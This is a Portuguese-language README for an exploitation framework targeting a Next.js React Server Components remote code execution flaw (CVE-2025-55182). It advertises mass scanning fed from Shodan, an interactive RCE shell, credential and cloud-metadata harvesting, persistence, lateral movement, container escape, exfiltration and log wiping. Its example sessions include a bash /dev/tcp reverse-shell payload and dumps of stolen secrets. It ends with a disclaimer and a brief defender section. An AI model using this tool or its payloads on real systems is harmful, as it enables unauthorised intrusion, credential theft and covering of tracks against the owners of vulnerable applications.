🚀 R2S - Next.js RSC Exploit Framework

📋 Visão Geral

R2S é um framework abrangente de exploração e pós-exploração direcionado à vulnerabilidade de React Server Components do Next.js (CVE-2025-55182). Fornece um shell interativo com funcionalidades avançadas para testes de penetração, incluindo transferência de arquivos, persistência, enumeração, verificações de escalonamento de privilégios e muito mais.

🎯 Capacidades Principais

• ✅ Varredura automatizada de vulnerabilidades - Varredura em massa de múltiplos alvos
• ✅ Shell RCE interativo - Execução de comandos com estado e navegação de diretórios
• ✅ Transferência de arquivos via HTTP - Upload/download sem limitações de base64
• ✅ Automação de reverse shell - Testa mais de 25 payloads diferentes
• ✅ Enumeração avançada - Sistema, rede, contêiner e metadados de nuvem
• ✅ Escalonamento de privilégios - Detecção automatizada de vetores de privesc
• ✅ Coleta de credenciais - Extrai senhas, chaves, tokens e segredos
• ✅ Mecanismos de persistência - Mantém acesso após reinicializações
• ✅ Movimento lateral - Descobre e pivota para outros hosts
• ✅ Escape de contêiner - Verifica vetores de escape Docker/Kubernetes
• ✅ Exfiltração de dados - Extrai arquivos sensíveis e configurações
• ✅ Operações furtivas - Limpa logs e esconde rastros

🔥 Funcionalidades

🌐 Exploração Principal

• Varredura em massa com suporte a múltiplas threads
• Modo pipeline para integração com outras ferramentas
• Detecção automática de vulnerabilidade para RSC do Next.js
• Shell interativo com estado e diretório de trabalho persistente

📁 Operações de Arquivo

• Upload via HTTP - Transfere arquivos para o alvo via wget/curl
• Download via HTTP - Exfiltra arquivos via requisições POST
• Sem limitações de tamanho - Funciona com arquivos grandes (diferente de métodos base64)
• Servidor HTTP automático - Inicia/interrompe conforme necessário

🔍 Reconhecimento e Enumeração

• Enumeração do sistema - SO, kernel, usuários, processos
• Descoberta de rede - Interfaces, rotas, ARP, DNS, portas escutando
• Detecção de contêiner - Identificação Docker, Kubernetes, LXC
• Metadados de nuvem - Extração de credenciais AWS, GCP, Azure
• Dump de memória de processos - Extrai segredos de processos em execução
• Descoberta de arquivos interessantes - SUID, diretórios graváveis, backups, configs

🔐 Coleta de Credenciais

• Variáveis de ambiente (senhas, chaves de API, tokens)
• Arquivos .env e arquivos de configuração
• Chaves privadas SSH e authorized_keys
• Histórico do bash com comandos sensíveis
• Arquivos de banco de dados (SQLite, dumps MySQL)
• Credenciais de nuvem (AWS, Azure, GCP)
• Credenciais Git e tokens NPM
• Dados de navegador (cookies, dados de login)
• Segredos Docker e Kubernetes

⬆️ Escalonamento de Privilégios

• Detecção de binários SUID/SGID
• Enumeração de permissões sudo
• Arquivos de sistema graváveis (/etc/passwd, /etc/shadow)
• Verificações de acesso ao socket Docker
• Análise de capacidades Linux
• Sugestões de exploits de kernel
• Enumeração de cron jobs
• Oportunidades de sequestro de PATH

🔄 Pós-Exploração

• Mecanismos de persistência - Cron jobs, .bashrc, serviços systemd
• Persistência avançada - LD_PRELOAD, timers systemd
• Varredura de portas - Reconhecimento de rede interna
• Movimento lateral - Descoberta de chaves SSH, análise de known_hosts
• Escape de contêiner - Verificações de contêiner privilegiado, análise de capacidades
• Exfiltração de dados - Coleta automatizada de dados sensíveis
• Automação de reverse shell - Mais de 25 tipos de payload com repetição automática

🥷 Furtividade e Evasão

• Limpeza de logs - Histórico do bash, logs de autenticação, syslog
• Ocultação de rastros - Limpeza de wtmp, lastlog
• Gerenciamento de sessões - Salvar e retomar sessões

🛠️ Instalação

Pré-requisitos

# Python 3.6 ou superior
python3 --version

# Instalar dependências
pip3 install requests urllib3

Início Rápido

# Clone ou baixe a ferramenta
cd r2s-main

# Tornar executável (opcional)
chmod +x r2s_enhanced.py

# Executar a ferramenta
python3 r2s_enhanced.py -h

🚀 Uso

Sintaxe Básica

python3 r2s_enhanced.py [OPÇÕES]

Opções de Linha de Comando

Métodos de Entrada

1. Alvo Único

python3 r2s_enhanced.py -u http://target.com

2. Múltiplos Alvos (Arquivo)

python3 r2s_enhanced.py -l targets.txt -t 50

3. Modo Pipeline (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 Comandos do Shell Interativo

Uma vez obtido acesso RCE, você entrará em um shell interativo com estes comandos:

📂 Transferência de Arquivos

upload <local_file> <remote_path>    # Envia arquivo para o alvo
download <remote_file> <local_path>  # Baixa arquivo do alvo

🧭 Navegação

cd <diretório>                        # Muda o diretório de trabalho
pwd                                   # Exibe o diretório de trabalho

🔍 Enumeração

enum                                 # Enumeração completa do sistema
privesc                              # Verificações de escalonamento de privilégios
harvest                              # Coleta de credenciais
portscan <ip>                        # Varre portas da rede interna
memdump [pid]                        # Despeja memória do processo para segredos

🎯 Pós-Exploração

lateral                              # Oportunidades de movimento lateral
escape                               # Vetores de escape de contêiner
exfil [tipo]                         # Exfiltra dados (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # Testa múltiplos payloads de reverse shell

🔒 Persistência

persist                              # Adiciona persistência básica
advpersist                           # Adiciona persistência avançada

🥷 Furtividade

stealth                              # Limpa logs e esconde rastros

💾 Gerenciamento de Sessão

save                                 # Salva a sessão atual
help, ?                              # Mostra mensagem de ajuda
exit, quit                           # Sai do shell interativo

🖥️ Comandos do Sistema

Execute qualquer comando do shell diretamente:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 Exemplos

Exemplo 1: Exploração Básica

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Carregado 1 alvo. Iniciando varredura com 30 threads...
[*] Comando do Payload: id

[VULN] http://vulnerable-app.com >>> RCE SUCESSO
       Saída: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Shell interativo RCE com estado iniciado. Digite 'help' para comandos.
[*] Funcionalidades avançadas: enum, privesc, persist, portscan, harvest, stealth
[*] Novas funcionalidades: memdump, lateral, escape, exfil, advpersist, reverse

[+] Servidor HTTP iniciado em 192.168.1.100:8000

next-rce:/app$

Exemplo 2: Enumeração do Sistema

next-rce:/app$ enum

[*] Iniciando enumeração automatizada...

============================================================
[*] Informações do Sistema
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Usuário Atual
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Detecção de Contêiner
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Contêiner Docker detectado]

...

Exemplo 3: Transferência de Arquivos

# Enviar um arquivo
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Enviando /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload bem-sucedido!
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# Baixar um arquivo
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Baixando /etc/passwd via HTTP...
[+] Download bem-sucedido! (1523 bytes)
    Salvo em: ./passwd.txt

Exemplo 4: Coleta de Credenciais

next-rce:/app$ harvest

[*] Coletando credenciais...

[*] Variáveis de Ambiente:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] Arquivos .env:
/app/.env
/app/.env.production
/var/www/.env.local

[*] Chaves SSH:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

Exemplo 5: Reverse Shell

next-rce:/app$ reverse 192.168.1.100 4444

[*] Iniciando tentativas de reverse shell para 192.168.1.100:4444
[!] Certifique-se de ter um listener em execução: nc -lvnp 4444

[*] Testando 25 payloads diferentes de reverse shell...

[1/25] Tentando Bash TCP... ✓ Executado
[?] Você recebeu uma conexão? (s/n/p para parar): s

[+] SUCESSO! Reverse shell estabelecido usando: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Exemplo 6: Varredura em Massa

$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] Carregados 3 alvos. Iniciando varredura com 50 threads...

[VULN] http://app1.example.com >>> RCE SUCESSO
[VULN] http://app3.example.com >>> RCE SUCESSO

[*] Varredura concluída.

Exemplo 7: Verificação de Escalonamento de Privilégios

next-rce:/app$ privesc

[*] Verificando vetores de escalonamento de privilégios...

[*] Binários SUID:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Permissões Sudo:
O usuário node pode executar os seguintes comandos:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Grupo Docker:
No grupo docker - EXPLORÁVEL!

...

Exemplo 8: Escape de Contêiner

next-rce:/app$ escape

[*] Verificando vetores de escape de contêiner...

[*] Tipo de Contêiner:
12:devices:/docker/a1b2c3d4e5f6

[*] Contêiner Privilegiado:
PRIVILEGIADO

[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capacidades:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Capacidades completas - contêiner é privilegiado]

...

🔧 Funcionalidades Avançadas

Payloads de Reverse Shell

A ferramenta inclui mais de 25 payloads de reverse shell em várias linguagens e técnicas:

• Bash (TCP, UDP, variantes de exec)
• Netcat (tradicional, mkfifo, OpenBSD)
• Python/Python3 (socket, pty)
• Perl (múltiplas variantes)
• PHP (exec, system, passthru)
• Ruby (variantes de socket)
• Node.js (child_process, socket)
• Socat, Telnet, AWK
• Golang, OpenSSL

Extração de Metadados de Nuvem

Detecta e extrai automaticamente credenciais de:

• AWS - Roles IAM, credenciais de segurança
• GCP - Tokens de conta de serviço
• Azure - Metadados de instância
• Variáveis de ambiente com credenciais de nuvem

Detecção de Contêiner

Identifica e analisa:

• Contêineres Docker
• Pods Kubernetes
• Contêineres LXC
• Privilegiado vs não privilegiado
• Vetores de escape disponíveis

⚠️ Aviso Legal

APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS

Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.

Requisitos para uso legal:

• ✅ Autorização por escrito do proprietário do alvo
• ✅ Escopo e regras de engajamento definidas
• ✅ Engajamento profissional de testes de penetração
• ❌ Acesso não autorizado a sistemas
• ❌ Intenção maliciosa ou danos

🛡️ Detecção e Defesa

Para Defensores

Detecção:

• Monitore cabeçalhos Next-Action incomuns
• Procure por requisições POST multipart/form-data para endpoints inexistentes
• Verifique saída de comandos codificada em base64 em respostas de erro
• Monitore child_process.execSync em logs do Next.js

Mitigação:

• Atualize o Next.js para a versão corrigida mais recente
• Implemente regras de Web Application Firewall (WAF)
• Restrinja a execução de código no lado do servidor
• Monitore e registre todas as requisições RSC
• Implemente validação de entrada adequada

📊 Histórico de Versões

v4.1.0 (Atual) - Edição Aprimorada

• ✅ Adicionada automação de reverse shell (mais de 25 payloads)
• ✅ Adicionadas capacidades de dump de memória
• ✅ Adicionada descoberta de movimento lateral
• ✅ Adicionadas verificações de escape de contêiner
• ✅ Adicionada automação de exfiltração de dados
• ✅ Adicionados mecanismos de persistência avançada
• ✅ Melhorada transferência de arquivos HTTP
• ✅ Funcionalidades de enumeração aprimoradas
• ✅ Melhor tratamento de erros e UX

v4.0.0 - Framework de Pós-Exploração

• ✅ Transferência de arquivos baseada em HTTP
• ✅ Mecanismos de persistência
• ✅ Scanner de portas
• ✅ Verificações de escalonamento de privilégios
• ✅ Enumeração de rede
• ✅ Coleta de credenciais
• ✅ Gerenciamento de sessão
• ✅ Enumeração automatizada
• ✅ Funcionalidades furtivas

v3.0.0 - Shell Interativo

• Shell com estado e navegação de diretórios
• Transferência básica de arquivos (base64)
• Melhor tratamento de erros

🤝 Contribuindo

Contribuições são bem-vindas! Por favor, garanta que todas as contribuições sejam para fins educacionais e de segurança defensiva.

👨‍💻 Autor

G4rxd

🙏 Créditos

• Equipe de Descoberta do CVE-2025-55182
• Comunidade de Pesquisa de Segurança do Next.js
• Comunidade de Ferramentas de Segurança Open Source

📄 Licença

Este projeto está licenciado apenas para fins educacionais e testes autorizados.